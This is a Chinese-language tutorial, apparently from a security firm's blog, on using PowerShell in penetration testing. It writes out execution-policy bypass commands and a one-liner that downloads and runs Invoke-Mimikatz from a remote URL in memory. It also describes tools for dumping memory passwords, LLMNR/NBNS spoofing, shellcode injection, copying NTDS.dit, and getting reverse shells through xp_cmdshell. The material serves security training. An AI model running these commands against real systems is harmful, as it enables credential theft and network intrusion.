当前位置: 首页 > 新闻中心 > 技术分享 > 【美亚技术分享】第二十五期:聚焦“Powershell",分分钟掌握渗透测试技巧

【美亚技术分享】第二十五期:聚焦“Powershell",分分钟掌握渗透测试技巧

一、Powershell介绍


PowerShell概念诠释:

Windows PowerShell 是微软公司为 Windows 环境所开发的壳程式(shell)及脚本语言技术,采用的是命令行界面,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能;你可以把它看成是命令提示符cmd.exe的扩充。

Powershell需要.net环境的支撑,同时支持.net对象,powershell当前有5个版本:1.0、2.0、3.0、4.0、5.0



PowerShell启动步骤:

在Windows 操作系统里,进入windows PowerShell点击:开始->运行->cmd,在命令行中输入PowerShell,进入windows PowerShell

如下图:



执行成功后如下图:



在Powershell中查看帮助信息可以使用help命令,如下图:




注:这里前面是命令缩写,后面是命令的全称;

如果我们想查看某个具体命令的帮助说明,可以使用Get-Help -Name命令,如下图:




二、Powershell的执行策略

Powershell有以下四种脚本执行权限:



Powershell一般初始化情况下都会禁止脚本执行,脚本能否执行取决于Powershell的执行策略,只有管理员才有权限更改这个策略,非管理员会错,如下图:



查看脚本执行策略:



更改脚本执行策略:



三、Powershell脚本执行权限的绕过

由于在默认情况下,Powershell脚本需要管理员权限才可以执行起来,在实际的渗透过程中我们通常并不直接具有管理员权限,此时该如何执行Powershell脚本呢?

事实上,在Windows下有很多种方法可以绕过Powershell脚本执行的限制,这里针对实战中常用的几种方法做简要介绍:

我们首先新建一个 PS1脚本,内容如下:



(1)从文件中读取脚本并通过PowerShell的标准输入来执行具体说明:使用Windows的"type"命令或PowerShell的"Get-Content"命令来从磁盘读取你的脚本并输入到标准的PowerShell中,这种技术不会导致配置文件的更改,但是需要写入磁盘。Example1: Get-Content test.ps1 | PowerShell.exe -NoProfileExample2: Type  test.ps1 | PowerShell.exe -NoProfile –



2)从网络上下载脚本并通过IEX执行它具体说明:这种技术可以用来从网上下载一个PowerShell脚本并执行它无需写入磁盘,它也不会导致任何配置更改Example1: PowerShell "IEX (New-Object Net.WebClient).DownloadString(‘http://www.a.com/Invoke-Mimikatz.ps1')”



(3) 使用编码命令绕过

Example1:



Example2:



(4) 使用"Bypass"参数命令如下:

PowerShell.exe -ExecutionPolicy Bypass -File  .\test.ps1



注意以上命令只能在cmd下执行,如果进入Powershell环境运行会出现错误,如下图:



笔者小提示:联网上这句命令的截图几乎都是在powershell环境下运行起来的,想说,你们到底测试过没?测试过没?上面的命令在Powershell环境下笔者是没执行成功的。


四、Powershell渗透实战

在github上有很多Powershell开发的渗透测试脚本,项目地址有:

https://github.com/PowerShellMafia/PowerSploit

https://github.com/Kevin-Robertson/Inveigh

https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

https://github.com/besimorhino/powercat

https://github.com/jaredhaight/PSAttack

有兴趣的同学可以好好看看代码,今天这里重点介绍下PSAttack:


PSAttack是一款非常好的内网渗透测试工具,其集成了多个Powershell脚本,包括Powersploit、PowerTools、Nishang、Powercat等项目的脚本,在运行PSAttack过程中所有的powershell脚本均是载入内存运行的,不会在磁盘上留下任何脚本相关信息,这让我们在内网渗透测试的过程更加的方便快捷。


1、基本命令说明

我们在命令行下调用PSAttack,其启动过程如下图:



查看攻击模块,执行get-attack,如下图:



查看具体模块的详细说明,执行get-attack +模块名称,如下图列出了recon模块下的各种命令说明:



如果我们希望查看指定命令的使用样例,可以执行get-help+命令名称 –examples,如下图:



2、10种常用渗透指令说明

1、Invoke-UserHunter

该命令可以查看当前用户可以登录的所有域内计算机,如下图:




2、Invoke-Mimikatz

该命令常用于攫取内存明文密码,如下图:



执行Invoke-Mimikatz命令也可以指定远程计算机进行内存密码的抓取,如下图:




3、Get-NetUser

该命令通过ADSI和LDAP.查询域中指定的用户或者用户组信息;

如下图:




4Get-NetSubnet

该命令用于列举当前域中的所有子网信息;如下图:




5Invoke-Inveigh

该命令用于执行LLMNR/NBNS欺骗,如下图:




如果各位不知道什么是LLMNR/NBNS,请猛戳乌云链接:

http://drops.wooyun.org/tips/11086




6、Get-Inveigh

用于查看队列中的控制台输出,如下图:




7、Stop-Inveigh

该命令用于停止运行的Inveigh函数




8、powercat

该命令实现了netcat的功能,如下图:




9、Invoke-Shellcode

注入shellcode代码,如下图:




10、Invoke-NinjaCopy

常用来从NTFS卷复制一些被某些进程以独占方式打开的文件,例如活动目录的NTDS.dit文件或系统的registry hives文件,如下图:




总体来说,PSAttack在域网络环境下确实是一款非常好的渗透测试工具,但大家可能也发现了由于PSAttack将各种Powershell脚本进行了封装,因此我们并不方便单独调用特定的模块,例如当我们在渗透测试过程中遇到库站分离的一个SA权限的盲注点,我们可能希望通过该注入点反弹回一个cmdshell,以确定数据库网络出口处的IP以及进行一些高级的交互操作(例如开终端服务等)。

在过去很多年以前,我们常规的做法是直接使用扩展过程xp_cmdshell去将ftp指令写入一个文件,然后再调用该文件下载nc之类的进行反弹。这种方法虽然可行,但操作较为麻烦,且会在服务器磁盘上创建文件,并且我们需要考虑nc的免杀,这对于新手来说确实会造成一定困扰。

但有了Powershell之后一切变得简单,我们只需要使用xp_cmdshell下载远程的PS1脚本回来执行即会反弹会一个shell,如下图(为了演示方便是直接在本机执行的,在注入点处执行类似):



小伙伴们,是不是感觉非常方便?但这个操作使用PSAttack的功能是没办法完成的,因此单独调用一些Powershell脚本在某些特殊的情况下效果甚佳;同样我们也可以调用远程PS1脚本来抓取远程计算机上的凭据,如下图:



甚至我们还可以使用Invoke-Shellcode脚本直接给远程主机注入Payload,再结合Metasploit Framework直接获得一个Meterpreter的shell。